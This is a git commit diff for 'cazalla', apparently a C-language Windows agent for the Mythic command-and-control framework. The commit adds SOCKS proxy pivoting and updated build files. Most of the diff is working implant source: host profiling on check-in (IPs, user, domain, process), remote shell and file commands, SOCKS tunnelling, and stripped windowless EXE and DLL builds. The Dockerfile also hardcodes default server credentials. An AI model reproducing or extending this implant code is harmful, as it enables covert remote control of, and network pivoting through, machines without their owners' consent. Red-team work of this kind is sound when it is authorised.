Socks funcional

This commit is contained in:
marcos.luna
2025-10-21 16:33:34 +02:00
parent 70e6dbdef3
commit 5faf4898db
27 changed files with 1943 additions and 613 deletions
+21 -9
View File
@@ -1,5 +1,6 @@
FROM python:3.11 FROM python:3.11
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
ARG CA_CERTIFICATE ARG CA_CERTIFICATE
ARG NPM_REGISTRY ARG NPM_REGISTRY
ARG PYPI_INDEX ARG PYPI_INDEX
@@ -8,24 +9,35 @@ ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY ARG HTTP_PROXY
ARG HTTPS_PROXY ARG HTTPS_PROXY
# Evita prompts (tzdata) y builds no reproducibles # --- Evita prompts (tzdata) y builds no reproducibles ---
ENV DEBIAN_FRONTEND=noninteractive \ ENV DEBIAN_FRONTEND=noninteractive \
PIP_NO_CACHE_DIR=1 PIP_NO_CACHE_DIR=1
# Update + install en el MISMO layer. Sin upgrade, sin purge. # --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
RUN apt-get update \ RUN apt-get update && \
&& apt-get install -y --no-install-recommends \ apt-get install -y --no-install-recommends \
apt-utils ca-certificates git zip make build-essential \ apt-utils ca-certificates git zip make build-essential \
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \ libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm \ liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
&& rm -rf /var/lib/apt/lists/* rm -rf /var/lib/apt/lists/*
# (Opcional) pip reciente / compatibilidad wheels # --- Actualiza pip / setuptools / wheel ---
RUN python -m pip install --upgrade pip setuptools wheel RUN python -m pip install --upgrade pip setuptools wheel
# --- Instala el paquete base de Mythic y dependencias del payload ---
COPY requirements.txt / COPY requirements.txt /
RUN pip3 install -r /requirements.txt RUN pip install --no-cache-dir -r /requirements.txt \
&& pip install --no-cache-dir mythic-container
# --- Variables de entorno necesarias para comunicación con el core Mythic ---
ENV MYTHIC_SERVER_HOST="mythic_server"
ENV MYTHIC_SERVER_PORT="17443"
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
# --- Copia el código del payload ---
WORKDIR /Mythic/ WORKDIR /Mythic/
CMD ["python3", "main.py"] COPY ./ /Mythic/cazalla/
# --- Comando por defecto ---
CMD ["python3", "main.py"]
@@ -1,8 +1,12 @@
# Compiler # Compiler
CC = x86_64-w64-mingw32-gcc CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
# Base flags
CFLAGS = -Wall -w -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
DFLAGS = -D_DEBUG # Console flags (no -mwindows) for debug console output
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g
# Directories # Directories
SRC_FILES := *.c SRC_FILES := *.c
@@ -13,31 +17,32 @@ $(shell mkdir -p $(BUILD_DIR))
# Build Targets # Build Targets
all: exe dll all: exe dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll debug: debug_exe debug_dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target # Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) $(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS)
# DLL Target # DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) $(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) $(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log)
debug_log: $(BUILD_DIR)/cazalla-debug-log.exe
$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS)
# Clean up # Clean up
clean: clean:
rm -rf $(BUILD_DIR) rm -rf $(BUILD_DIR)
@@ -1,6 +1,9 @@
#include "SistemadeFicheros.h" #include "SistemadeFicheros.h"
#include "paquete.h" #include "paquete.h"
/* Forward decl to avoid implicit declaration on some toolchains */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#define _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996) #pragma warning(disable : 4996)
@@ -31,10 +34,10 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
pathNormalizado[j++] = pathIntroducido[i]; pathNormalizado[j++] = pathIntroducido[i];
} }
// Asegurar que el path esté terminado en null // Asegurar que el path est terminado en null
pathNormalizado[j] = '\0'; pathNormalizado[j] = '\0';
// Convertir el path a minúsculas para evitar problemas con mayúsculas/minúsculas // Convertir el path a minsculas para evitar problemas con maysculas/minsculas
for (int i = 0; i < j; i++) { for (int i = 0; i < j; i++) {
pathNormalizado[i] = tolower(pathNormalizado[i]); pathNormalizado[i] = tolower(pathNormalizado[i]);
} }
@@ -80,7 +83,7 @@ VOID ListarDirectorio(PAnalizador argumentos){
return; return;
} }
UINT32 tamanoPath = NULL; UINT32 tamanoPath = 0;
SIZE_T tamano = 0; SIZE_T tamano = 0;
char nombreFichero[MAX_FILENAME]; char nombreFichero[MAX_FILENAME];
PCHAR fichero = getString(argumentos, &tamano); PCHAR fichero = getString(argumentos, &tamano);
@@ -169,7 +172,7 @@ BOOL ObtenerPath(PAnalizador argumentos) {
if (length == 0) { if (length == 0) {
DWORD error = GetLastError(); DWORD error = GetLastError();
_err("[pwd] Error obteniendo directorio actual. Código: %lu\n", error); _err("[pwd] Error obteniendo directorio actual. Cdigo: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE); addString(respuestaError, tareaUuid, FALSE);
@@ -227,7 +230,7 @@ VOID CopiarFichero(PAnalizador argumentos) {
DWORD error = GetLastError(); DWORD error = GetLastError();
_err("[cp] No se ha podido copiar. Código: %lu\n", error); _err("[cp] No se ha podido copiar. Cdigo: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE); addString(respuestaError, tareaUuid, FALSE);
@@ -283,7 +286,7 @@ VOID CrearRuta(PAnalizador argumentos){
if (!CreateDirectoryA(directorio, NULL)){ if (!CreateDirectoryA(directorio, NULL)){
DWORD error = GetLastError(); DWORD error = GetLastError();
_err("[mkdir] No se ha podido crear el directorio. Código: %lu\n", error); _err("[mkdir] No se ha podido crear el directorio. Cdigo: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE); addString(respuestaError, tareaUuid, FALSE);
@@ -1,12 +1,26 @@
#include "cazalla.h" #include "cazalla.h"
#include "Config.h" #include "Config.h"
#include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
CONFIG_CAZALLA* cazallaConfig = NULL; CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() { VOID cazallaMain() {
//v2: evitar LocalAlloc printf("[CAZALLA] Inicializando configuración de Cazalla\n");
fflush(stdout);
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
if (!cazallaConfig) {
_err("Error: fallo en LocalAlloc para cazallaConfig.\n");
return;
}
cazallaConfig->idAgente = (PCHAR)initUUID; cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname; cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port; cazallaConfig->puertoHttp = port;
@@ -14,26 +28,51 @@ VOID cazallaMain() {
cazallaConfig->userAgent = (PWCHAR)useragent; cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod; cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl; cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled; cazallaConfig->proxyHabilitado= proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl; cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time*1000; cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n",
cazallaConfig->idAgente,
cazallaConfig->hostName,
cazallaConfig->puertoHttp,
(int)cazallaConfig->SSL,
(int)cazallaConfig->proxyHabilitado,
cazallaConfig->endPoint,
cazallaConfig->userAgent,
cazallaConfig->tiempoSleep);
fflush(stdout);
printf("[CAZALLA] Iniciando primer checkin...\n");
fflush(stdout);
PAnalizador respuestaAnalizador = checkin(); PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) { if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n"); printf("[CAZALLA] Error en el primer checkin, cerrando.\n");
fflush(stdout);
return; return;
} }
parseChecking(respuestaAnalizador); parseChecking(respuestaAnalizador);
while (TRUE){ printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep);
fflush(stdout);
while (TRUE) {
rutina(); rutina();
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
if (socks_proxy_active) {
DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)");
Sleep(100);
} else {
DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
Sleep(cazallaConfig->tiempoSleep);
}
} }
} }
VOID setUUID(PCHAR newUUID) { VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID; cazallaConfig->idAgente = newUUID;
return; DBG_PRINTF("UUID actualizado: %s", newUUID);
} }
@@ -4,15 +4,15 @@
#include <windows.h> #include <windows.h>
#include "paquete.h" #include "paquete.h"
#include "analizador.h" #include "analizador.h"
#include "utils.h" #include "utils.h"
#include "checkin.h" #include "checkin.h"
#include "socks_manager.h" // <— añadido para acceso a socks_proxy_active
typedef struct { typedef struct {
// UUID // UUID
PCHAR idAgente; PCHAR idAgente;
//HTTP // HTTP
PWCHAR hostName; PWCHAR hostName;
DWORD puertoHttp; DWORD puertoHttp;
PWCHAR endPoint; PWCHAR endPoint;
@@ -24,12 +24,11 @@ typedef struct {
PWCHAR urlProxy; PWCHAR urlProxy;
UINT32 tiempoSleep; UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA; } CONFIG_CAZALLA, *PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig; extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID); VOID setUUID(PCHAR newUUID);
VOID cazallaMain(); VOID cazallaMain(void);
#endif #endif
@@ -1,86 +1,66 @@
#include "checkin.h" #include "checkin.h"
#include "cazalla.h" #include "cazalla.h"
#include "socks_manager.h"
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h> #include <iphlpapi.h>
// Obtener Direcciones IPs. #ifdef DEBUG_SOCKS
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { #define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
// === Obtener Direcciones IPs ===
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP; PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0; DWORD dwSize = 0;
DWORD dwRetVal = 0; DWORD dwRetVal = 0;
IN_ADDR IPAddr; IN_ADDR IPAddr;
LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) { if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP); LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
} }
if (pTablaDireccionesIP == NULL) return NULL;
if (pTablaDireccionesIP == NULL) { } else return NULL;
return NULL;
}
}
else {
return NULL;
}
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL; return NULL;
} else {
}
else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
} }
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) { for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
} }
if (pTablaDireccionesIP) { if (pTablaDireccionesIP) LocalFree(pTablaDireccionesIP);
LocalFree(pTablaDireccionesIP);
}
return tableOfIPs; return tableOfIPs;
} }
// === Obtener arquitectura ===
// Obtener la arquitectura
BYTE obtenerArquitectura() { BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema; SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema); GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64; return 0x64;
} }
return 0x86; return 0x86;
} }
// Obtener el Hostname // === Obtener hostname ===
PCHAR obtenerHostame() { PCHAR obtenerHostame() {
LPSTR datos = NULL; LPSTR datos = NULL;
DWORD dataLen = 0; DWORD dataLen = 0;
const char* hostnameRep = "N/A"; const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) {
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
{
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos; hostnameRep = datos;
} }
@@ -88,17 +68,13 @@ PCHAR obtenerHostame() {
return (char*)hostnameRep; return (char*)hostnameRep;
} }
// Obtener el usuario // === Obtener usuario ===
char* obtenerUsuarios() { char* obtenerUsuarios() {
LPSTR datos = NULL; LPSTR datos = NULL;
DWORD dataLen = 0; DWORD dataLen = 0;
const char* usuario = "N/A"; const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) { if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen); GetUserNameA(datos, &dataLen);
usuario = datos; usuario = datos;
} }
@@ -106,9 +82,8 @@ char* obtenerUsuarios() {
return (char*)usuario; return (char*)usuario;
} }
// Obtener el dominio // === Obtener dominio ===
LPWSTR obtenerDominio() { LPWSTR obtenerDominio() {
DWORD dwLevel = 102; DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL; LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL; PWCHAR dominio = NULL;
@@ -117,37 +92,25 @@ LPWSTR obtenerDominio() {
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) { if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup); DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
} }
if (pBuf != NULL) NetApiBufferFree(pBuf);
if (pBuf != NULL) {
NetApiBufferFree(pBuf);
}
return dominio; return dominio;
} }
char* getOsName() { // === Obtener OS ===
char* getOsName() { return (PCHAR)"Windows"; }
return (PCHAR)"Windows"; // === Obtener nombre del proceso actual ===
}
// Obtener el nombre del proceso actual
char* obtenerNombreProceso() { char* obtenerNombreProceso() {
char* nombreProceso = NULL; char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess(); HANDLE handle = GetCurrentProcess();
if (handle) { if (handle) {
DWORD buffSize = 1024; DWORD buffSize = 1024;
CHAR buffer[1024]; CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize); memcpy(nombreProceso, buffer, buffSize);
} }
@@ -156,17 +119,24 @@ char* obtenerNombreProceso() {
return nombreProceso; return nombreProceso;
} }
/* Stub desactivado: el procesamiento SOCKS entrante se hace en transporte.c */
static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
/* ==========================================================
Check-in principal con soporte SOCKS
========================================================== */
PAnalizador checkin() { PAnalizador checkin() {
printf("[CHECKIN] Iniciando checkin\n");
fflush(stdout);
UINT32 numeroDeIPs = 0; UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) { if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n"); _err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL; return NULL;
} }
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs); addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) { for (UINT32 i = 0; i < numeroDeIPs; i++) {
@@ -182,15 +152,20 @@ PAnalizador checkin() {
addString(checkin, obtenerNombreProceso(), TRUE); addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE); addString(checkin, (PCHAR)"1.1.1.1", TRUE);
printf("[CHECKIN] Enviando paquete inicial\n");
fflush(stdout);
PAnalizador respuestaAnalizador = mandarPaquete(checkin); PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin); liberarPaquete(checkin);
if (!respuestaAnalizador) { if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n"); printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n");
fflush(stdout);
return NULL; return NULL;
} }
DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
procesarSocksEntrante(respuestaAnalizador);
DBG_PRINTF("checkin(): completado");
return respuestaAnalizador; return respuestaAnalizador;
} }
@@ -2,6 +2,7 @@
#ifndef CHECKIN_H #ifndef CHECKIN_H
#define CHECKIN_H #define CHECKIN_H
#include <windows.h> #include <windows.h>
#include <lm.h> #include <lm.h>
#include <lmwksta.h> #include <lmwksta.h>
@@ -9,9 +10,10 @@
#include "transporte.h" #include "transporte.h"
#include "analizador.h" #include "analizador.h"
#include "comandos.h" #include "comandos.h"
#include "socks_manager.h" // <— añadido
#pragma comment(lib, "netapi32.lib") #pragma comment(lib, "netapi32.lib")
PAnalizador checkin(); PAnalizador checkin(void);
#endif #endif
@@ -1,5 +1,17 @@
#include "cazalla.h" #include "cazalla.h"
#include "comandos.h" #include "comandos.h"
#include "socks_manager.h"
#include "paquete.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
/* Forward: handlers for the new commands */
static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea);
BOOL handleGetTasking(PAnalizador obtenerTarea) { BOOL handleGetTasking(PAnalizador obtenerTarea) {
@@ -18,24 +30,34 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
if (tarea == SHELL_CMD){ if (tarea == SHELL_CMD){
ejecutarConsola(analizadorTarea); ejecutarConsola(analizadorTarea);
}else if (tarea == EXIT_CMD) { } else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea); cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){ } else if (tarea == SLEEP_CMD){
sleep(analizadorTarea); sleep(analizadorTarea);
}else if(tarea == PROCESS_CMD){ } else if (tarea == PROCESS_CMD){
listarProcesos(analizadorTarea); listarProcesos(analizadorTarea);
}else if (tarea == CD_CMD) { } else if (tarea == CD_CMD) {
CambiarDirectorio(analizadorTarea); CambiarDirectorio(analizadorTarea);
}else if (tarea == LS_CMD) { } else if (tarea == LS_CMD) {
ListarDirectorio(analizadorTarea); ListarDirectorio(analizadorTarea);
}else if (tarea == PWD_CMD) { } else if (tarea == PWD_CMD) {
ObtenerPath(analizadorTarea); ObtenerPath(analizadorTarea);
}else if (tarea == CP_CMD) { } else if (tarea == CP_CMD) {
CopiarFichero(analizadorTarea); CopiarFichero(analizadorTarea);
}else if (tarea == MKDIR_CMD) { } else if (tarea == MKDIR_CMD) {
CrearRuta(analizadorTarea); CrearRuta(analizadorTarea);
}else if (tarea == RM_CMD) { } else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea); EliminarRuta(analizadorTarea);
} else if (tarea == START_SOCKS_CMD) {
DBG_PRINTF("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) {
DBG_PRINTF("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea);
} else {
_dbg("[Tarea] Tarea desconocida: 0x%02x\n", tarea);
// liberar analizador si no será usado por otro handler
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} }
} }
@@ -92,3 +114,94 @@ BOOL rutina() {
return TRUE; return TRUE;
} }
/* ============================
START_SOCKS_CMD handler
Expected params (in this order inside the task buffer):
- 36 bytes: UUID del task
- UINT32 LocalPort (optional). If absent or zero -> default 1080.
Behavior:
- call socks_manager_init()
- call socks_manager_start_proxy(local_port)
- send response back to Mythic
============================ */
static void startSocksHandler(PAnalizador analizadorTarea) {
DBG_PRINTF("startSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
// Leer el puerto
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
if (localPort == 0) localPort = 1080;
// initialize socks manager (idempotent)
socks_manager_init();
int rc = socks_manager_start_proxy((uint16_t)localPort);
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
if (rc == 0) {
DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort);
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
} else {
DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
}
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
/* ============================
STOP_SOCKS_CMD handler
Expected params:
- 36 bytes: UUID del task
Behavior:
- call socks_manager_stop_proxy()
- call socks_manager_cleanup()
- send response back to Mythic
============================ */
static void stopSocksHandler(PAnalizador analizadorTarea) {
DBG_PRINTF("stopSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid);
int rc = socks_manager_stop_proxy();
DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc);
socks_manager_cleanup();
DBG_PRINTF("socks_manager_cleanup() done");
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy stopped\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
@@ -29,7 +29,12 @@
#define MKDIR_CMD 0x24 #define MKDIR_CMD 0x24
#define RM_CMD 0x25 #define RM_CMD 0x25
/* New SOCKS control commands (agent-side) */
#define START_SOCKS_CMD 0x60
#define STOP_SOCKS_CMD 0x61
/* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5
BOOL parseChecking(PAnalizador respuestaAnalizador); BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina(); BOOL rutina();
@@ -23,7 +23,8 @@ BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano
return FALSE; return FALSE;
} }
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre); /* Use wsprintfA for MinGW portability without requiring nonstandard _snprintf */
wsprintfA(buffer, "%s\\%s", dominio, nombre);
buffer[tamano - 1] = 0; buffer[tamano - 1] = 0;
return TRUE; return TRUE;
} }
@@ -1,12 +1,14 @@
#include "cazalla.h" #include "cazalla.h"
#include <stdio.h>
//#ifdef _DEBUG int main() {
//int main() printf("=== CAZALLA AGENT STARTING ===\n");
//#else fflush(stdout);
